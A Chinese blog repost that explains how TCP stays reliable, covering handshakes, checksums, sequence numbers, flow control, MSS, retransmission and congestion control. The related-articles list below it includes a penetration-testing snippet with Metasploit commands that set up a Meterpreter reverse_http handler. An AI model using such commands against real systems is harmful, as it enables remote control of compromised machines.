【计算机网络】TCP如何保证稳定性

news/2024/7/4 10:07:11/文章来源:https://www.cnblogs.com/hudad/p/18262331
  • 连接管理
  • 校验和
  • 序列号/确认应答
  • 流量控制
  • 最大消息长度
  • 超时重传
  • 拥塞控制

资料来源

连接管理

TCP 使用三次握手和四次挥手保证可靠地建立连接和释放连接。

校验和

TCP 将保持它首部和数据的检验和。这是一个端到端的检验和,目的是检测数据在传输过程中的任何变化。如果接收端的检验和有差错,TCP 将丢弃这个报文段和不确认收到此报文段。

序列号/确认应答

TCP 给发送的每一个包进行编号,接收方会对收到的包进行应答,发送方就会知道接收方是否收到对应的包,如果发现没有收到,就会重发,这样就能保证数据的完整性。

流量控制

TCP 连接的每一方都有固定大小的缓冲空间,TCP 的接收端只允许发送端发送接收端缓冲区能接纳的数据。当接收方来不及处理发送方的数据,能提示发送方降低发送的速率,防止包丢失。TCP 使用的流量控制协议是可变大小的滑动窗口协议。(TCP 利用滑动窗口实现流量控制)

最大消息长度

在建立 TCP 连接的时候,双方约定一个最大的长度(MSS)作为发送的单位,重传的时候也是以这个单位来进行重传。理想的情况下是该长度的数据刚好不被网络层分块。

超时重传

超时重传是指发送出去的数据包到接收到确认包之间的时间,如果超过了这个时间会被认为是丢包了,需要重传。

拥塞控制

如果网络非常拥堵,此时再发送数据就会加重网络负担,那么发送的数据段很可能超过了最大生存时间也没有到达接收方,就会产生丢包问题。为此 TCP 引入慢启动机制,先发出少量数据,就像探路一样,先摸清当前的网络拥堵状态后,再决定按照多大的速度传送数据。

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处:http://www.hqwc.cn/news/732411.html

如若内容造成侵权/违法违规/事实不符,请联系编程知识网进行投诉反馈email:809451989@qq.com,一经查实,立即删除!

相关文章

数据分析 | 数据清理的方法

数据清理的步骤# 一、读取数据 导入NumPy和Pandas数据库,用Pandas的read_csv函数读取原始数据集’e_commerce.csv’,使其转换成DataFrame格式,并赋值给变量df。 展示数据集的前5行和后5行。# 二、评估数据(整洁度、干净度) 创建一个新的变量cleaned_data = df(相当于复制…

iMovie视频剪辑入门

iMovie学习笔记自己不是摄影爱好者📹(也许以后是,说不准),想学视频剪辑的原因如下:大一的一些小组作业有拍视频的任务,有时需要我承担剪辑的工作。因为不熟练,只能用剪映瞎折腾,浪费不少时间。系统地学习可以让我更好地完成剪辑工作。 想了解iMovie本身。本文是我的i…

域渗透之CSMSF联动权限传递

cs与msf会话的相互派生,记个笔记以免忘记具体的操作。cs派生给msf环境:msf6 + cs4.8条件:目标已上线cs,获得控制权1)在msf上启用reverse_http模块监听本地端口: use exploit/multi/handler set payload windows/meterpreter/reverse_http set lhost 192.168.88.128 set l…

免费可视化工具能为我们的工作带来什么好处?

免费可视化工具能为我们的工作带来什么好处?在如今数据密集的工作环境中,如何高效地处理和展示数据成为了每个行业的重要任务。传统的工具如Excel虽然强大,但在处理复杂数据和创建高级图表时往往显得力不从心。而免费可视化工具的出现,彻底改变了这一局面,不仅大大提升了工…

MCU点灯实验小结

设备采用芯片:STM32F407ZET6 4个LED灯,网络标号分别为LED0 ,LED1,FSMC D10,FSMC D11。对应的引脚号分别为PF9,PF10,PE12,PE13。 GPIO外设基本概念 General-Purpose Input Output,通用型输入输出的,也简称I/O口,有时也简写为IO口。用于电信号的传递,以实现与外部器件的通信…

南昌航空大学-23201406-耿乐-第三次OOP博客作业

对于最后两次题目集中的题目和做题情况的总结,包括电路模拟程序3和4。 一、前言总结两次题目集的题目情况关于题目集 最后两次题目集中都只有一道题目,是电路模拟程序的系列迭代,没有额外的题目。 题目本身 第七次题目集中的电路模拟3并不是太难,只要理清题目中的要求和电路…

记录c#开发Windows服务的过程

1.新建Windows服务项目 2.重命名Service1.cs 3.添加安装程序 4.修改service,修改信息如下:备注:ServiceName和安装后的服务名保持一致哦!!!5.修改serviceProcessInstaller1 6.编辑TransService代码 7.添加新项目窗体应用程序 代码:1 using System;2 using System.Win…

操作系统启动的过程

目录操作系统,启动!大致过程重要程序bootsect.ssetup.shead.s 操作系统,启动! 大致过程 ​ 计算机的工作方式是取指执行,而执行其的前提是内存中有代码。操作系统刚开始并不是在内存中,而是在磁盘上,因此第一步需要将其以一定的方式从磁盘读入内存。(1)x86PC刚开机时C…

(我个人的)atcoder我的补题记录汇总

2024.06.27 : 根据题目难度和standing最后提交人数是否补题,大概在难度600及以下的 补完2024.06.22及之前的

最近在读《谁说菜鸟不会数据分析 SPSS篇》pdf分享

《谁说菜鸟不会数据分析(SPSS篇)》继续采用职场三人行的方式来构建内容,细致梳理了准专业数据分析的常见问题,并且挑选出企业实践中最容易碰到的案例,以最轻松直白的方式来讲好数据分析的故事。谁说菜鸟不会数据分析 SPSS篇 《谁说菜鸟不会数据分析(SPSS篇)》继续采用职…

TypeScript实现贪吃蛇效果

项目参考教程:贪吃蛇案例1.项目搭建 1.1 项目结构搭建 创建一个名为xxx的项目 项目初始化 npm init -y 安装后面需要用到的依赖,在package.json中查看 项目根目录创建名为tsconfig.json的文件并更改内容如下: {"compilerOptions": {"module": "ES2…

m基于Googlenet深度学习的运动项目识别系统matlab仿真,包括GUI界面

1.算法仿真效果 matlab2022a仿真结果如下: 2.算法涉及理论知识概要基于GoogLeNet深度学习的运动项目识别系统,是利用深度神经网络技术,尤其是GoogLeNet架构,来自动识别视频或图像中的人类运动类型的过程。GoogLeNet(也称为Inception网络)在2014年由Google团队提出,因其高…

模拟集成电路设计系列博客——7.5.6 时间交错型ADC

7.5.6 时间交错型ADC 我们可以通过将多个ADC做并行来实现非常高速的ADC[Black, 1980]。下图展示了一个四通道时间交错型ADC的架构图:此处,\(\phi_0\)是一个四倍于\(\phi_1\)到\(\phi_4\)的速率的时钟。此外,\(\phi_1\)到\(\phi_4\)彼此都落后一个\(\phi_0\)的周期。这样每个…

(构造) CF1758D Range = √Sum

题意:思路:先钦定这个序列的和为4n^{2} ,那么差值就是2n 考虑一个初始序列1,2,3,⋯,n−1,2n+1.现在我们要做的就是将这个序列变成合法的我可以进行整体都+x的操作使得这个序列的和尽量逼近4n^{2}。直接算出每个数应该加上的x,还会有一点剩余,加到a[n-1]上即可,a[n-1]+n=…

Java探秘:揭秘栈帧的神秘面纱与内存占用之谜

哈喽,大家好,我是木头左!深入理解Java栈帧 在Java虚拟机(JVM)的运行时数据区中,每一个线程都有自己的栈(Stack),而栈中的每一个元素就是一个栈帧(Stack Frame)。当一个方法被调用时,一个新的栈帧会被创建并压入到栈中。这个栈帧包含了方法的局部变量、参数以及返回地…

数据库和Flask项目搭建

1 sqlalchemy原生操作 # 操作原生sql ---》用得少 import pymysql import threading # 1 导入 from sqlalchemy import create_engine from sqlalchemy.engine.base import Engine # 2 创建引擎 engine = create_engine("mysql+pymysql://root:1234@127.0.0.1:3306/cnblog…

flask定制Excel命令

定制excel命令并插入到数据库中 import osfrom flask import Flask from flask.cli import AppGroup import click import pymysql from openpyxl import load_workbookapp = Flask(__name__)@app.cli.group() def excel():"""Excel related commands."&qu…

flask的简单使用

1 flask介绍 #1 python 界的web框架-Django:大而全,你要的东西都有 [orm,缓存,认证]django-ninja-flask:小而精,所有web开发需要的东西,借助于第三方集成-web.py-----同步框架--进程线程架构--3.x以后支持异步--tornado sanicfastapi:高性能小而精,借助于第三方:orm…

模拟集成电路设计系列博客——7.5.5 折叠型ADC

7.5.5 折叠型ADC 我们刚了解完输入放大器的数量如何通过插值型架构来减少。但是对于一个N bit的ADC来说,仍然需要\(2^N\)个锁存比较器。这个大量的比较器数量可以通过折叠型ADC架构来减少。折叠型ADC架构类似于两步型ADC,一组LSB分离于一组MSB进行独立的查找。但是,相比两步…

240627构造

20240627构造专题 写在前面:出场即巅峰(明日模拟赛RP++) 一.何为构造 就是通过对一道题题面的分析可以发现某种规律(类似于不完全归纳法),然后发掘本质,就可以很快的解题,但是显然我还没有掌握 二.一些技巧 1.寻找特殊性质,从而求解 2.估算上界(也就是对最优情况进行…